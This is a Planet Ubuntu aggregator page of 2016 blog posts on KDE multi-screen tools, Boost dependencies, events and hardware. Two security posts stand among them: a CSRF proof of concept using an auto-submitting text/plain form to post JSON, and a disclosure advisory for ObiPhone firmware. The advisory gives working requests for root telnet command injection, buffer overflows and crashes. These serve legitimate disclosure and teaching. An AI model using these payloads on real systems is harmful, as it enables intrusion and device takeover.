24 Aug 2016

feedPlanet Ubuntu

Sebastian Kügler: Multisceen in Plasma: Improved tools and debugging

cube-small
Plasma 5.8 will be our first long-term supported release in the Plasma 5 series. We want to make this a release as polished and stable as possible. One area we weren't quite happy with was our multi-screen user experience. While it works quite well for most of our users, there were a number of problems which made our multi-screen support sub-par.
Let's take a step back to define what we're talking about.

Multi-screen support means that connecting more than one screen to your computer. The following use cases give good examples of the scope:

The idea is that the user plugs in or starts up with that configuration, if the user has already configured this hardware combination, this setup is restored. Otherwise, a reasonable guess is done to put the user to a good starting point to fine-tune the setup.

kcm-videowall
This is the job of KScreen. At a technical level, kscreen consists of three parts:

At an architectural level, this is a sound design: the roles are clearly separated, the low-level bits are suitably abstracted to allow re-use of code, the API presents what matters to the user, implementation details are hidden. Most importantly, aside from a few bugs, it works as expected, and in principle, there's no reason why it shouldn't.

So much for the theory. In reality, we're dealing with a huge amount of complexity. There are hardware events such as suspending, waking up with different configurations, the laptop's lid may be closed or opened (and when that's done, we don't even get an event that it closed, displays come and go, depending on their connection, the same piece of hardware might support completely different resolutions, hardware comes with broken EDID information, display connectors come and go, so do display controllers (crtcs); and on top of all that: the only way we get to know what actually works in reality for the user is the "throw stuff against the wall and observe what sticks" tactic.

This is the fabric of nightmares. Since I prefer to not sleep, but hack at night, I seemed to be the right person to send into this battle. (Coincidentally, I was also "crowned" kscreen maintainer a few months ago, but let's stick to drama here.)

So, anyway, as I already mentioned in an earlier blog entry, we had some problems restoring configurations. In certain situations, displays weren't enabled or positioned unreliably, or kscreen failed to restore configurations altogether, making it "forget" settings.
kscreen-doctor

Better tools

Debugging these issues is not entirely trivial. We need to figure out at which level they happen (for example in our xrandr implementation, in other parts of the library, or in the daemon. We also need to figure out what happens exactly, and when it does. A complex architecture like this brings a number of synchronization problems with it, and these are hard to debug when you have to figure out what exactly goes on across log files. In Plasma 5.8, kscreen will log its activity into one consolidated, categorized and time-stamped log. This rather simple change has already been a huge help in getting to know what's really going on, and it has helped us identify a number of problems.

A tool which I've been working on is kscreen-doctor. On the one hand, I needed a debugging helper tool that can give system information useful for debugging. Perhaps more importantly I know I'd be missing a command-line tool to futz around with screen configurations from the command-line or from scripts as Wayland arrives. kscreen-doctor allows to change the screen configuration at runtime, like this:

Disable the hdmi output, enable the laptop panel and set it to a specific mode
$ kscreen-doctor output.HDMI-2.disable output.eDP-1.mode.1 output.eDP-1.enable

Position the hdmi monitor on the right of the laptop panel
$ kscreen-doctor output.HDMI-2.position.0,1280 output.eDP-1.position.0,0

Please note that kscreen-doctor is quite experimental. It's a tool that allows to shoot yourself in the foot, so user discretion is advised. If you break things, you get to keep the pieces. I'd like to develop this into a more stable tool in kscreen, but for now: don't complain if it doesn't work or eat your hamster.

Another neat testing tool is Wayland. The video wall configuration you see in the screenshot is unfortunately not real hardware I have around here. What I've done instead is run a Wayland server with these "virtual displays" connected, which in turn allowed me to reproduce a configuration issue. I'll spare you the details of what exactly went wrong, but this kind of tricks allows us to reproduce problems with much more hardware than I ever want or need in my office. It doesn't stop there, I've added this hardware configuration to our unit-testing suite, so we can make sure that this case is covered and working in the future.

24 Aug 2016 1:16pm GMT

David Tomaschik: Posting JSON with an HTML Form

A coworker and I were looking at an application today that, like so many other modern web applications, offers a RESTful API with JSON being used for serialization of requests/responses. She noted that the application didn't include any sort of CSRF token and didn't seem to use any of the headers (X-Requested-With, Referer, Origin, etc.) as a "poor man's CSRF token", but since it was posting JSON, was it really vulnerable to CSRF? Yes, yes, definitely yes!

The idea that the use of a particular encoding is a security boundary is, at worst, a completely wrong notion of security, and at best, a stopgap until W3C, browser vendors, or a clever attacker gets hold of your API. Let's examine JSON encoding as a protection against CSRF and demonstrate a mini-PoC.

The Application

We have a basic application written in Go. Authentication checking is elided for post size, but this is not just an unauthenticated endpoint.

package main

import (
        "encoding/json"
        "fmt"
        "net/http"
)

type Secrets struct {
        Secret int
}

var storage Secrets

func handler(w http.ResponseWriter, r *http.Request) {
        if r.Method == "POST" {
                json.NewDecoder(r.Body).Decode(&storage)
        }
        fmt.Fprintf(w, "The secret is %d", storage.Secret)
}

func main() {
        http.HandleFunc("/", handler)
        http.ListenAndServe(":8080", nil)
}

As you can see, it basically serves a secret number that can be updated via HTTP POST of a JSON object. If we attempt a URL-encoded or multipart POST, the JSON decoding fails miserably and the secret remains unchanged. We must POST JSON in order to get the secret value changed.

Exploring Options

So let's explore our options here. The site can locally use AJAX via the XMLHTTPRequest API, but due to the Same-Origin Policy, an attacker's site cannot use this. For most CSRF, the way to get around this is plain HTML forms, since form submission is not subject to the Same-Origin Policy. The W3C had a draft specification for JSON forms, but that has been abandoned since late 2015, and isn't supported in any browsers. There are probably some techniques that can make use of Flash or other browser plugins (aren't there always?) but it can even be done with basic forms, it just takes a little work.

JSON in Forms

Normally, if we try to POST JSON as, say, a form value, it ends up being URL encoded, not to mention including the field name.

<form method='POST'>
  <input name='json' value='{"foo": "bar"}'>
  <input type='submit'>
</form>

Results in a POST body of:

json=%7B%22foo%22%3A+%22bar%22%7D

Good luck decoding that as JSON!

Doing it as the form field name doesn't get any better.

%7B%22foo%22%3A+%22bar%22%7D=value

It turns out you can set the enctype of your form to text/plain and avoid the URL encoding on the form data. At this point, you'll get something like:

json={"foo": "bar"}

Unfortunately, we still have to contend with the form field name and the separator (=). This is a simple matter of splitting our payload across both the field name and value, and sticking the equals sign in an unused field. (Or you can use it as part of your payload if you need one.)

Putting it All Together

<body onload='document.forms[0].submit()'>
  <form method='POST' enctype='text/plain'>
    <input name='{"secret": 1337, "trash": "' value='"}'>
  </form>
</body>

This results in a request body of:

{"secret": 1337, "trash": "="}

This parses just fine and updates our secret!

24 Aug 2016 7:00am GMT

23 Aug 2016

feedPlanet Ubuntu

Aaron Honeycutt: Razer Hardware on Linux

One of the things that stopped me from moving to Ubuntu Linux full time on my desktop was the lack of support for my Razer Blackwidow Chroma. For those who do not know about it: pretty link . It is a very pretty keyboard with every key programmable to be a different color or effect. I found a super cool program on github to make it work on Ubuntu/Linux Mint, Debian and a few others maybe since the source is available here: source link

Here is what the application looks like:
polychromatic-ss1

It even has a tray applet to change the colors, and effects quickly.

23 Aug 2016 8:40pm GMT

Ubuntu Insights: Webinar: Industry 4.0 & IoT

Webinar 3 - CloudPlugs

We'll be hosting our next webinar on Industry 4.0 and IoT!

This webinar will explore the convergence of Operational and Information technology as one of the key benefits of the Internet of Things; and how to use this convergence as a way to build a new generation of integrated digital supply chains which are the base of Industry 4.0.

The webinar will cover the following topics:

Sign-up here

About the speaker: Jimmy Garcia-Meza is the co-founder and CEO of CloudPlugs Inc. He has over 20 years of experience running startups and large divisions in private and public U.S. multinational companies. He co-founded nubisio, Inc. a cloud storage company acquired by Bain Capital. He was CEO of FilesX, a backup software company acquired by IBM. He held various executive positions at Silicon Image (SIMG) where he was responsible for driving the world-wide adoption of HDMI. He was a venture director at Index Ventures and held several executive positions at Sun Microsystems where he has in charge of a $1.7B global line of business.

23 Aug 2016 3:38pm GMT

Ubuntu Insights: M10 Travel Light winners!

140_M10_TravelLight_Comp_v02_#TravelLight (3)

We had an awesome selection of entries for our #TravelLight competition!

Given that the M10 tablet can also be your laptop, saving you 1.5kg compared to the average laptop, we asked you…

What would you take with you on holiday if you had 1.5kg of extra space in your luggage?

Thank you to all those that participated, we had a laugh reading them! It wasn't easy but we narrowed down our winners to the following:

Primary winners (Prize: M10 Tablet)

Gabriel Lucas

#TravelLight with an #Ubuntu kite pic.twitter.com/q5xcupRWFI

- Gabriel Lucas (@gb_Lucas) August 18, 2016

Andrea Souviron

I would bring my Ubuntusaurus Rex to fight against Macraptor and Windoceratops #TravelLight pic.twitter.com/kPLposJXKJ

- andrea souviron (@andreasouvironm) August 18, 2016

Other winners (Prize: Strauss bluetooth speaker)

Adnan Quaium

Zakaria Bouzid

Bouslikhin saad

Johnny Chin

Bruce Cozine

Learn about the M10

23 Aug 2016 3:19pm GMT

Jono Bacon: Bacon Roundup – 23rd August 2016

Well, hello there, people. I am back with another Bacon Roundup which summarizes some of the various things I have published recently. Don't forget to subscribe to get the latest posts right to your inbox.

Also, don't forget that I am doing a Reddit AMA (Ask Me Anything) on Tues 30th August 2016 at 9am Pacific. Find out the details here.

Without further ado, the roundup:

Building a Career in Open Source (opensource.com)
A piece I wrote about how to build a successful career in open source. It delves into finding opportunity, building a network, always learning/evolving, and more. If you aspire to work in open source, be sure to check it out.

Cutting the Cord With Playstation Vue (jonobacon.org)
At home we recently severed ties with DirecTV (for lots of reasons, this being one), and moved our entertainment to a Playstation 4 and Playstation Vue for TV. Here's how I did it, how it works, and how you can get in on the action.

Running a Hackathon for Security Hackers (jonobacon.org)
Recently I have been working with HackerOne and we recently ran a hackathon for some of the best hackers in the world to hack popular products and services for fun and profit. Here's what happened, how it looked, and what went down.

Opening Up Data Science with data.world (jonobacon.org)
Recently I have also been working with data.world who are building a global platform and community for data, collaboration, and insights. This piece delves into the importance of data, the potential for data.world, and what the future might hold for a true data community.

From The Archive

To round out this roundup, here are a few pieces I published from the archive. As usual, you can find more here.

Using behavioral patterns to build awesome communities (opensource.com)
Human beings are pretty irrational a lot of the time, but irrational in predictable ways. These traits can provide a helpful foundation in which we build human systems and communities. This piece delves into some practical ways in which you can harness behavioral economics in your community or organization.

Atom: My New Favorite Code Editor (jonobacon.org)
Atom is an extensible text editor that provides a thin and sleek core and a raft of community-developed plugins for expanding it into the editor you want. Want it like vim? No worries. Want it like Eclipse? No worries. Here's my piece on why it is neat and recommendations for which plugins you should install.

Ultimate unconference survival guide (opensource.com)
Unconferences, for those who are new to them, are conferences in which the attendees define the content on the fly. They provide a phenomenal way to bring fresh ideas to the surface. They can though, be a little complicated to figure out for attendees. Here's some tips on getting the most out of them.

Stay up to date and get the latest posts direct to your email inbox with no spam and no nonsense. Click here to subscribe.

The post Bacon Roundup - 23rd August 2016 appeared first on Jono Bacon.

23 Aug 2016 1:48pm GMT

22 Aug 2016

feedPlanet Ubuntu

Elizabeth K. Joseph: Ubuntu in Philadelphia

Last week I traveled to Philadelphia to spend some time with friends and speak at FOSSCON. While I was there, I noticed a Philadelphia area Linux Users Group (PLUG) meeting would land during that week and decided to propose a talk on Ubuntu 16.04.

But first I happened to be out getting my nails done with a friend on Sunday before my talk. Since I was there, I decided to Ubuntu theme things up again. Drawing freehand, the manicurist gave me some lovely Ubuntu logos.

Girly nails aside, that's how I ended up at The ATS Group on Monday evening for a PLUG West meeting. They had a very nice welcome sign for the group. Danita and I arrived shortly after 7PM for the Q&A portion of the meeting. This pre-presentation time gave me the opportunity to pass around my BQ Aquaris M10 tablet running Ubuntu. After the first unceremonious pass, I sent it around a second time with more of an introduction, and the Bluetooth keyboard and mouse combo so people could see convergence in action by switching between the tablet and desktop view. Unlike my previous presentations, I was traveling so I didn't have my bag of laptops and extra tablet, so that was the extent of the demos.

The meeting was very well attended and the talk went well. It was nice to have folks chiming in on a few of the topics (like the transition to systemd) and there were good questions. I also was able to give away a copy of our The Official Ubuntu Book, 9th Edition to an attendee who was new to Ubuntu.

Keith C. Perry shared a video of the talk on G+ here. Slides are similar to past talks, but I added a couple since I was presenting on a Xubuntu system (rather than Ubuntu) and didn't have pure Ubuntu demos available: slides (7.6M PDF, lots of screenshots).

After the meeting we all had an enjoyable time at The Office, which I hadn't been to since moving away from Philadelphia almost seven years ago.

Thanks again to everyone who came out, it was nice to meet a few new folks and catch up with a bunch of people I haven't seen in several years.

Saturday was FOSSCON! The Ubuntu Pennsylvania LoCo team showed up to have a booth, staffed by long time LoCo member Randy Gold.

They had Ubuntu demos, giveaways from the Ubuntu conference pack (lanyards, USB sticks, pins) and I dropped off a copy of the Ubuntu book for people to browse, along with some discount coupons for folks who wanted to buy it. My Ubuntu tablet also spent time at the table so people could play around with that.


Thanks to Randy for the booth photo!

At the conference closing, we had three Ubuntu books to raffle off! They seemed to go to people who appreciated them and since both José and I attended the conference, the raffle winners had 2/3 of the authors there to sign the books.


My co-author, José Antonio Rey, signing a copy of our book!

22 Aug 2016 7:53pm GMT

David Tomaschik: ObiHai ObiPhone: Multiple Vulnerabilties

Note that this a duplicate of the advisory sent to the full-disclosure mailing list.

Introduction

Multiple vulnerabilities were discovered in the web management interface of the ObiHai ObiPhone products. The Vulnerabilities were discovered during a black box security assessment and therefore the vulnerability list should not be considered exhaustive.

Affected Devices and Versions

ObiPhone 1032/1062 with firmware less than 5-0-0-3497.

Vulnerability Overview

Obi-1. Memory corruption leading to free() of an attacker-controlled address
Obi-2. Command injection in WiFi Config
Obi-3. Denial of Service due to buffer overflow
Obi-4. Buffer overflow in internal socket handler
Obi-5. Cross-site request forgery
Obi-6. Failure to implement RFC 2617 correctly
Obi-7. Invalid pointer dereference due to invalid header
Obi-8. Null pointer dereference due to malicious URL
Obi-9. Denial of service due to invalid content-length

Vulnerability Details

Obi-1. Memory corruption leading to free() of an attacker-controlled address

By providing a long URI (longer than 256 bytes) not containing a slash in a request, a pointer is overwritten which is later passed to free(). By controlling the location of the pointer, this would allow an attacker to affect control flow and gain control of the application. Note that the free() seems to occur during cleanup of the request, as a 404 is returned to the user before the segmentation fault.

python -c 'print "GET " + "A"*257 + " HTTP/1.1\nHost: foo"' | nc IP 80

(gdb) bt
#0  0x479d8b18 in free () from root/lib/libc.so.6
#1  0x00135f20 in ?? ()
(gdb) x/5i $pc
=> 0x479d8b18 <free+48>:        ldr     r3, [r0, #-4]
   0x479d8b1c <free+52>:        sub     r5, r0, #8
   0x479d8b20 <free+56>:        tst     r3, #2
   0x479d8b24 <free+60>:        bne     0x479d8bec <free+260>
   0x479d8b28 <free+64>:        tst     r3, #4
(gdb) i r r0
r0             0x41     65

Obi-2. Command injection in WiFi Config

An authenticated user (including the lower-privileged "user" user) can enter a hidden network name similar to "$(/usr/sbin/telnetd &)", which starts the telnet daemon.

GET /wifi?checkssid=$(/usr/sbin/telnetd%20&) HTTP/1.1
Host: foo
Authorization: [omitted]

Note that telnetd is now running and accessible via user "root" with no password.

Obi-3. Denial of Service due to buffer overflow

By providing a long URI (longer than 256 bytes) beginning with a slash, memory is overwritten beyond the end of mapped memory, leading to a crash. Though no exploitable behavior was observed, it is believed that memory containing information relevant to the request or control flow is likely overwritten in the process. strcpy() appears to write past the end of the stack for the current thread, but it does not appear that there are saved link registers on the stack for the devices under test.

python -c 'print "GET /" + "A"*256 + " HTTP/1.1\nHost: foo"' | nc IP 80

(gdb) bt
#0  0x479dc440 in strcpy () from root/lib/libc.so.6
#1  0x001361c0 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/5i $pc
=> 0x479dc440 <strcpy+16>:      strb    r3, [r1, r2]
   0x479dc444 <strcpy+20>:      bne     0x479dc438 <strcpy+8>
   0x479dc448 <strcpy+24>:      bx      lr
   0x479dc44c <strcspn>:        push    {r4, r5, r6, lr}
   0x479dc450 <strcspn+4>:      ldrb    r3, [r0]
(gdb) i r r1 r2
r1             0xb434df01       3023363841
r2             0xff     255
(gdb) p/x $r1+$r2
$1 = 0xb434e000

Obi-4. Buffer overflow in internal socket handler

Commands to be executed by realtime backend process obid are sent via Unix domain sockets from obiapp. In formatting the message for the Unix socket, a new string is constructed on the stack. This string can overflow the static buffer, leading to control of program flow. The only vectors leading to this code that were discovered during the assessment were authenticated, however unauthenticated code paths may exist. Note that the example command can be executed as the lower-privileged "user" user.

GET /wifi?checkssid=[A*1024] HTTP/1.1
Host: foo
Authorization: [omitted]

(gdb) 
#0  0x41414140 in ?? ()
#1  0x0006dc78 in ?? ()

Obi-5. Cross-site request forgery

All portions of the web interface appear to lack any protection against Cross-Site Request Forgery. Combined with the command injection vector in ObiPhone-3, this would allow a remote attacker to execute arbitrary shell commands on the phone, provided the current browser session was logged-in to the phone.

Obi-6. Failure to implement RFC 2617 correctly

RFC 2617 specifies HTTP digest authentication, but is not correctly implemented on the ObiPhone. The HTTP digest authentication fails to comply in the following ways:

Please note that the realm, nonce, cnonce, and nc values have all been chosen and the response generated offline.

Obi-7. Invalid pointer dereference due to invalid header

Sending an invalid HTTP Authorization header, such as "Authorization: foo", causes the program to attempt to read from an invalid memory address, leading to a segmentation fault and reboot of the device. This requires no authentication, only access to the network to which the device is connected.

GET / HTTP/1.1
Host: foo
Authorization: foo

This causes the server to dereference the address 0xFFFFFFFF, presumably returned as a -1 error code.

(gdb) bt
#0  0x479dc438 in strcpy () from root/lib/libc.so.6
#1  0x00134ae0 in ?? ()
(gdb) x/5i $pc
=> 0x479dc438 <strcpy+8>:       ldrb    r3, [r1, #1]!
   0x479dc43c <strcpy+12>:      cmp     r3, #0
   0x479dc440 <strcpy+16>:      strb    r3, [r1, r2]
   0x479dc444 <strcpy+20>:      bne     0x479dc438 <strcpy+8>
   0x479dc448 <strcpy+24>:      bx      lr
(gdb) i r r1
r1             0xffffffff       4294967295

Obi-8. Null pointer dereference due to malicious URL

If the /obihai-xml handler is requested without any trailing slash or component, this leads to a null pointer dereference, crash, and subsequent reboot of the phone. This requires no authentication, only access to the network to which the device is connected.

GET /obihai-xml HTTP/1.1
Host: foo

(gdb) bt
#0  0x479dc7f4 in strlen () from root/lib/libc.so.6
Backtrace stopped: Cannot access memory at address 0x8f6
(gdb) info frame
Stack level 0, frame at 0xbef1aa50:
pc = 0x479dc7f4 in strlen; saved pc = 0x171830
Outermost frame: Cannot access memory at address 0x8f6
Arglist at 0xbef1aa50, args: 
Locals at 0xbef1aa50, Previous frame's sp is 0xbef1aa50
(gdb) x/5i $pc
=> 0x479dc7f4 <strlen+4>:       ldr     r2, [r1], #4
   0x479dc7f8 <strlen+8>:       ands    r3, r0, #3
   0x479dc7fc <strlen+12>:      rsb     r0, r3, #0
   0x479dc800 <strlen+16>:      beq     0x479dc818 <strlen+40>
   0x479dc804 <strlen+20>:      orr     r2, r2, #255    ; 0xff
(gdb) i r r1
r1             0x0      0

Obi-9. Denial of service due to invalid content-length

Content-Length headers of -1, -2, or -3 result in a crash and device reboot. This does not appear exploitable to gain execution. Larger (more negative) values return a page stating "Firmware Update Failed" though it does not appear any attempt to update the firmware with the posted data occurred.

POST / HTTP/1.1
Host: foo
Content-Length: -1

Foo

This appears to write a constant value of 0 to an address controlled by the Content-Length parameter, but since it appears to be relative to a freshly mapped page of memory (perhaps via mmap() or malloc()), it does not appear this can be used to gain control of the application.

(gdb) bt
#0  0x00138250 in HTTPD_msg_proc ()
#1  0x00070138 in ?? ()
(gdb) x/5i $pc
=> 0x138250 <HTTPD_msg_proc+396>:       strb    r1, [r3, r2]
  0x138254 <HTTPD_msg_proc+400>:       ldr     r1, [r4, #24]
  0x138258 <HTTPD_msg_proc+404>:       ldr     r0, [r4, #88]   ; 0x58
  0x13825c <HTTPD_msg_proc+408>:       bl      0x135a98
  0x138260 <HTTPD_msg_proc+412>:       ldr     r0, [r4, #88]   ; 0x58
(gdb) i r r3 r2
r3             0xafcc7000       2949410816
r2             0xffffffff       4294967295

Mitigation

Upgrade to Firmware 5-0-0-3497 (5.0.0 build 3497) or newer.

Author

The issues were discovered by David Tomaschik of the Google Security Team.

Timeline

22 Aug 2016 7:00am GMT

Paul Tagliamonte: go-wmata - golang bindings to the DC metro system

A few weeks ago, I hacked up go-wmata, some golang bindings to the WMATA API. This is super handy if you are in the DC area, and want to interface to the WMATA data.

As a proof of concept, I wrote a yo bot called @WMATA, where it returns the closest station if you Yo it your location. For hilarity, feel free to Yo it from outside DC.

For added fun, and puns, I wrote a dbus proxy for the API as weel, at wmata-dbus, so you can query the next train over dbus. One thought was to make a GNOME Shell extension to tell me when the next train is. I'd love help with this (or pointers on how to learn how to do this right).

22 Aug 2016 2:16am GMT

21 Aug 2016

feedPlanet Ubuntu

Stephen Kelly: Boost dependencies and bcp

Recently I generated diagrams showing the header dependencies between Boost libraries, or rather, between various Boost git repositories. Diagrams showing dependencies for each individual Boost git repo are here along with dot files for generating the images.

The monster diagram is here:

Edges and Incidental Modules and Packages

The directed edges in the graphs represent that a header file in one repository #includes a header file in the other repository. The idea is that, if a packager wants to package up a Boost repo, they can't assume anything about how the user will use it. A user of Boost.ICL can choose whether ICL will use Boost.Container or not by manipulating the ICL_USE_BOOST_MOVE_IMPLEMENTATION preprocessor macro. So, the packager has to list Boost.Container as some kind of dependency of Boost.ICL, so that when the package manager downloads the boost-icl package, the boost-container package is automatically downloaded too. The dependency relationship might be a 'suggests' or 'recommends', but the edge will nonetheless exist somehow.

In practice, packagers do not split Boost into packages like that. At least for debian packages they split compiled static libraries into packages such as libboost-serialization1.58, and put all the headers (all header-only libraries) into a single package libboost1.58-dev. Perhaps the reason for packagers putting it all together is that there is little value in splitting the header-only repository content in the monolithic Boost from each other if it will all be packaged anyway. Or perhaps the sheer number of repositories makes splitting impractical. This is in contrast to KDE Frameworks, which does consider such edges and dependency graph size when determining where functionality belongs. Typically KDE aims to define the core functionality of a library on its own in a loosely coupled way with few dependencies, and then add integration and extension for other types in higher level libraries (if at all).

Another feature of my diagrams is that repositories which depend circularly on each other are grouped together in what I called 'incidental modules'. The name is inspired by 'incidental data structures' which Sean Parent describes in detail in one of his 'Better Code' talks. From a packager point of view, the Boost.MPL repo and the Boost.Utility repo are indivisible because at least one header of each repo includes at least one header of the other. That is, even if packagers wanted to split Boost headers in some way, the 'incidental modules' would still have to be grouped together into larger packages.

As far as I am aware such circular dependencies don't fit with Standard C++ Modules designs or the design of Clang Modules, but that part of C++ would have to become more widespread before Boost would consider their impact. There may be no reason to attempt to break these 'incidental modules' apart if all that would do is make some graphs nicer, and it wouldn't affect how Boost is packaged.

My script for generating the dependency information is simply grepping through the include/ directory of each repository and recording the #included files in other repositories. This means that while we know Boost.Hana can be used stand-alone, if a packager simply packages up the include/boost/hana directory, the result will have dependencies on parts of Boost because Hana includes code for integration with existing Boost code.

Dependency Analysis and Reduction

One way of defining a Boost library is to consider the group of headers which are gathered together and documented together to be a library (there are other ways which some in Boost prefer - it is surprisingly fuzzy). That is useful for documentation at least, but as evidenced it appears to not be useful from a packaging point of view. So, are these diagrams useful for anything?

While Boost header-only libraries are not generally split in standard packaging systems, the bcp tool is provided to allow users to extract a subset of the entire Boost distribution into a user-specified location. As far as I know, the tool scans header files for #include directives (ignoring ifdefs, like a packager would) and gathers together all of the transitively required files. That means that these diagrams are a good measure of how much stuff the bcp tool will extract.

Note also that these edges do not contribute time to your slow build - reducing edges in the graphs by moving files won't make anything faster. Rewriting the implementation of certain things might, but that is not what we are talking about here.

I can run the tool to generate a usable Boost.ICL which I can easily distribute. I delete the docs, examples and tests from the ICL directory because they make up a large chunk of the size. Such a 'subset distribution' doesn't need any of those. I also remove 3.5M of preprocessed files from MPL. I then need to define BOOST_MPL_CFG_NO_PREPROCESSED_HEADERS when compiling, which is easy and explained at the end:

$ bcp --boost=$HOME/dev/src/boost icl myicl
$ rm -rf boostdir/libs/icl/{doc,test,example}
$ rm -rf boostdir/boost/mpl/aux_/preprocessed
$ du -hs myicl/
15M     myicl/

Ok, so it's pretty big. Looking at the dependency diagram for Boost.ICL you can see an arrow to the 'incidental spirit' module. Looking at the Boost.Spirit dependency diagram you can see that it is quite large.

Why does ICL depend on 'incidental spirit'? Can that dependency be removed?

For those 'incidental modules', I selected one of the repositories within the group and named the group after that one repository. Too see why ICL depends on 'incidental spirit', we have to examine all 5 of the repositories in the group to check if it is the one responsible for the dependency edge.

boost/libs/icl$ git grep -Pl -e include --and \
  -e "thread|spirit|pool|serial|date_time" include/
include/boost/icl/gregorian.hpp
include/boost/icl/ptime.hpp

Formatting wide terminal output is tricky in a blog post, so I had to make some compromises in the output here. Those ICL headers are including Boost.DateTime headers.

I can further see that gregorian.hpp and ptime.hpp are 'leaf' files in this analysis. Other files in ICL do not include them.

boost/libs/icl$ git grep -l gregorian include/
include/boost/icl/gregorian.hpp
boost/libs/icl$ git grep -l ptime include/
include/boost/icl/ptime.hpp

As it happens, my ICL-using code also does not need those files. I'm only using icl::interval_set<double> and icl::interval_map<double>. So, I can simply delete those files.

boost/libs/icl$ git grep -l -e include \
  --and -e date_time include/boost/icl/ | xargs rm
boost/libs/icl$

and run the bcp tool again.

$ bcp --boost=$HOME/dev/src/boost icl myicl
$ rm -rf myicl/libs/icl/{doc,test,example}
$ rm -rf myicl/boost/mpl/aux_/preprocessed
$ du -hs myicl/
12M     myicl/

I've saved 3M just by understanding the dependencies a bit. Not bad!

Mostly the size difference is accounted for by no longer extracting boost::mpl::vector, and secondly the Boost.DateTime headers themselves.

The dependencies in the graph are now so few that we can consider them and wonder why they are there and can they be removed. For example, there is a dependency on the Boost.Container repository. Why is that?

include/boost/icl$ git grep -C2 -e include \
   --and -e boost/container
#if defined(ICL_USE_BOOST_MOVE_IMPLEMENTATION)
#   include <boost/container/set.hpp>
#elif defined(ICL_USE_STD_IMPLEMENTATION)
#   include <set>
--

#if defined(ICL_USE_BOOST_MOVE_IMPLEMENTATION)
#   include <boost/container/map.hpp>
#   include <boost/container/set.hpp>
#elif defined(ICL_USE_STD_IMPLEMENTATION)
#   include <map>
--

#if defined(ICL_USE_BOOST_MOVE_IMPLEMENTATION)
#   include <boost/container/set.hpp>
#elif defined(ICL_USE_STD_IMPLEMENTATION)
#   include <set>

So, Boost.Container is only included if the user defines ICL_USE_BOOST_MOVE_IMPLEMENTATION, and otherwise not. If we were talking about C++ code here we might consider this a violation of the Interface Segregation Principle, but we are not, and unfortunately the realities of the preprocessor mean this kind of thing is quite common.

I know that I'm not defining that and I don't need Boost.Container, so I can hack the code to remove those includes, eg:

index 6f3c851..cf22b91 100644
--- a/include/boost/icl/map.hpp
+++ b/include/boost/icl/map.hpp
@@ -12,12 +12,4 @@ Copyright (c) 2007-2011:
 
-#if defined(ICL_USE_BOOST_MOVE_IMPLEMENTATION)
-#   include <boost/container/map.hpp>
-#   include <boost/container/set.hpp>
-#elif defined(ICL_USE_STD_IMPLEMENTATION)
 #   include <map>
 #   include <set>
-#else // Default for implementing containers
-#   include <map>
-#   include <set>
-#endif

This and following steps don't affect the filesystem size of the result. However, we can continue to analyze the dependency graph.

I can break apart the 'incidental fusion' module by deleting the iterator/zip_iterator.hpp file, removing further dependencies in my custom Boost.ICL distribution. I can also delete the iterator/function_input_iterator.hpp file to remove the dependency on Boost.FunctionTypes. The result is a graph which you can at least reason about being used in an interval tree library like Boost.ICL, quite apart from our starting point with that library.

You might shudder at the thought of deleting zip_iterator if it is an essential tool to you. Partly I want to explore in this blog post what will be needed from Boost in the future when we have zip views from the Ranges TS or use the existing ranges-v3 directly, for example. In that context, zip_iterator can go.

Another feature of the bcp tool is that it can scan a set of source files and copy only the Boost headers that are included transitively. If I had used that, I wouldn't need to delete the ptime.hpp or gregorian.hpp etc because bcp wouldn't find them in the first place. It would still find the Boost.Container etc includes which appear in the ICL repository however.

In this blog post, I showed an alternative approach to the bcp --scan attempt at minimalism. My attempt is to use bcp to export useful and as-complete-as-possible libraries. I don't have a lot of experience with bcp, but it seems that in scanning mode I would have to re-run the tool any time I used an ICL header which I had not used before. With the modular approach, it would be less-frequently necessary to run the tool (only when directly using a Boost repository I hadn't used before), so it seemed an approach worth exploring the limitations of.

Examining Proposed Standard Libraries

We can also examine other Boost repositories, particularly those which are being standardized by newer C++ standards because we know that any, variant and filesystem can be implemented with only standard C++ features and without Boost.

Looking at Boost.Variant, it seems that use of the Boost.Math library makes that graph much larger. If we want Boost.Variant without all of that Math stuff, one thing we can choose to do is copy the one math function that Variant uses, static_lcm, into the Variant library (or somewhere like Boost.Core or Boost.Integer for example). That does cause a significant reduction in the dependency graph.

Further, I can remove the hash_variant.hpp file to remove the Boost.Functional dependency:

I don't know if C++ standardized variant has similar hashing functionality or how it is implemented, but it is interesting to me how it affects the graph.

Using a bcp-extracted library with Modern CMake

After extracting a library or set of libraries with bcp, you might want to use the code in a CMake project. Here is the modern way to do that:

add_library(boost_mpl INTERFACE)
target_compile_definitions(boost_mpl INTERFACE
    BOOST_MPL_CFG_NO_PREPROCESSED_HEADERS
)
target_include_directories(boost_mpl INTERFACE 
    "${CMAKE_CURRENT_SOURCE_DIR}/myicl"
)

add_library(boost_icl INTERFACE)
target_link_libraries(boost_icl INTERFACE boost_mpl)
target_include_directories(boost_icl INTERFACE 
    "${CMAKE_CURRENT_SOURCE_DIR}/myicl/libs/icl/include"
)
add_library(boost::icl ALIAS boost_icl)
#

Boost ships a large chunk of preprocessed headers for various compilers, which I mentioned above. The reasons for that are probably historical and obsolete, but they will remain and they are used by default when using GCC and that will not change. To diverge from that default it is necessary to set the BOOST_MPL_CFG_NO_PREPROCESSED_HEADERS preprocessor macro.

By defining an INTERFACE boost_mpl library and setting its INTERFACE target_compile_definitions, any user of that library gets that magic BOOST_MPL_CFG_NO_PREPROCESSED_HEADERS define when compiling its sources.

MPL is just an internal implementation detail of ICL though, so I won't have any of my CMake targets using MPL directly. Instead I additionally define a boost_icl INTERFACE library which specifies an INTERFACE dependency on boost_mpl with target_link_libraries.

The last 'modern' step is to define an ALIAS library. The alias name is boost::icl and it aliases the boost_icl library. To CMake, the following two commands generate an equivalent buildsystem:

target_link_libraries(myexe boost_icl)
target_link_libraries(myexe boost::icl)
#

Using the ALIAS version has a different effect however: If the boost::icl target does not exist an error will be issued at CMake time. That is not the case with the boost_icl version. It makes sense to use target_link_libraries with targets with :: in the name and ALIAS makes that possible for any library.


21 Aug 2016 8:48pm GMT

Cesar Sevilla: Problemas con Revolution Slider (Abort Class-pclzip.php : Missing Zlib)

Si eres una persona que te gusta utilizar WordPress y te llega a salir este pequeño detalle (Abort Class-pclzip.php : Missing Zlib) cuando estás importante un Slider de Revolution Slider, no te preocupes, la solución es la siguiente:

